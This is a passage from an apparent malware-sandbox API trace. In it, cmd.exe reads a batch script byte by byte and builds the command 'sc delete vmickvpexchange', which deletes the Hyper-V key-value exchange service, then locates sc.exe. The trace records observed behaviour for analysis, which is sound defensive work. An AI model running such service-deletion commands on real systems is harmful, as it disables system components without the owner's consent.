lpOverlapped=0x0) returned 1 [0062.209] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0062.209] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.209] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.209] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.209] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0062.209] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.209] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.209] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.209] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0062.209] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.209] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.209] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.209] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0062.209] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.209] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.209] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.209] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0062.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.210] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.210] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0062.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.210] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.210] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0062.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.210] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.210] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0062.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.210] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.210] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0062.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.210] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.210] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="k") returned 1 [0062.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.210] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.210] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0062.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.210] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0062.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.211] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0062.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.211] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="x") returned 1 [0062.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.211] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0062.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.211] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0062.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.211] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0062.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.211] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0062.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.212] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="g") returned 1 [0062.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.212] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0062.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.212] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0062.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.212] GetFileType (hFile=0xb8) returned 0x3 [0062.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.213] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.213] GetFileType (hFile=0x120) returned 0x3 [0062.213] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmickvpexchange\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmickvpexchange\n", lpUsedDefaultChar=0x0) returned 27 [0062.213] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x1a, lpOverlapped=0x0) returned 1 [0062.213] GetProcessHeap () returned 0x1b0000 [0062.213] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1ccd20 [0062.213] GetProcessHeap () returned 0x1b0000 [0062.213] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd20 | out: hHeap=0x1b0000) returned 1 [0062.213] _wcsicmp (_String1="sc", _String2=")") returned 74 [0062.213] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0062.213] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0062.213] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0062.213] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0062.213] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0062.213] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0062.213] GetProcessHeap () returned 0x1b0000 [0062.213] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1c97e0 [0062.213] GetProcessHeap () returned 0x1b0000 [0062.213] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c8900 [0062.214] GetProcessHeap () returned 0x1b0000 [0062.214] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x40) returned 0x1c98a0 [0062.214] GetConsoleOutputCP () returned 0x1b5 [0062.215] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0062.215] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0062.215] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0062.215] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0062.215] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0062.215] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0062.215] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0062.215] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0062.215] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0062.215] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0062.215] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0062.215] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0062.215] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0062.215] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0062.215] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0062.215] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0062.215] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0062.215] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0062.215] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0062.215] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0062.215] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0062.215] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0062.215] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0062.215] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0062.215] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0062.216] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0062.216] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0062.216] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0062.216] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0062.216] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0062.216] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0062.216] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0062.216] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0062.216] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0062.216] _wcsicmp (_String1="sc", _String2="START") returned -17 [0062.216] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0062.216] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0062.216] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0062.216] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0062.216] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0062.216] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0062.216] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0062.216] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0062.216] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0062.216] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0062.216] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0062.216] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0062.216] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0062.216] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0062.216] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0062.216] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0062.216] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0062.216] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0062.216] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0062.216] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0062.216] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0062.216] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0062.216] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0062.216] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0062.216] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0062.216] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0062.216] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0062.216] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0062.216] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0062.217] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0062.217] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0062.217] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0062.217] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0062.217] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0062.217] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0062.217] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0062.217] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0062.217] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0062.217] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0062.217] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0062.217] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0062.217] _wcsicmp (_String1="sc", _String2="START") returned -17 [0062.217] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0062.217] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0062.217] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0062.217] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0062.217] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0062.217] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0062.217] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0062.217] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0062.217] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0062.217] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0062.217] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0062.217] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0062.217] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0062.217] GetProcessHeap () returned 0x1b0000 [0062.217] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1b1ab0 [0062.217] GetProcessHeap () returned 0x1b0000 [0062.217] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x46) returned 0x1caa40 [0062.217] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0062.218] GetProcessHeap () returned 0x1b0000 [0062.218] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1c9a80 [0062.218] SetErrorMode (uMode=0x0) returned 0x1 [0062.218] SetErrorMode (uMode=0x1) returned 0x0 [0062.218] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1c9a90, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0062.218] SetErrorMode (uMode=0x1) returned 0x1 [0062.218] GetProcessHeap () returned 0x1b0000 [0062.218] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9a80, Size=0x62) returned 0x1c9a80 [0062.218] GetProcessHeap () returned 0x1b0000 [0062.218] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9a80) returned 0x62 [0062.218] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0062.218] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0062.218] GetProcessHeap () returned 0x1b0000 [0062.218] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1b1cd0 [0062.218] GetProcessHeap () returned 0x1b0000 [0062.218] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1c9b00 [0062.224] GetProcessHeap () returned 0x1b0000 [0062.224] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b00, Size=0x12a) returned 0x1c9b00 [0062.224] GetProcessHeap () returned 0x1b0000 [0062.224] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b00) returned 0x12a [0062.224] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0062.225] GetProcessHeap () returned 0x1b0000 [0062.225] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c5b70 [0062.225] GetProcessHeap () returned 0x1b0000 [0062.225] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c5b70, Size=0x7e) returned 0x1c5b70 [0062.225] GetProcessHeap () returned 0x1b0000 [0062.225] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5b70) returned 0x7e [0062.226] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.226] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0062.226] GetLastError () returned 0x2 [0062.227] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0062.227] GetLastError () returned 0x2 [0062.227] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.227] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c5c00 [0062.227] GetProcessHeap () returned 0x1b0000 [0062.227] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x28) returned 0x1c4610 [0062.227] FindClose (in: hFindFile=0x1c5c00 | out: hFindFile=0x1c5c00) returned 1 [0062.227] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0062.227] GetLastError () returned 0x2 [0062.227] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c5c00 [0062.227] GetProcessHeap () returned 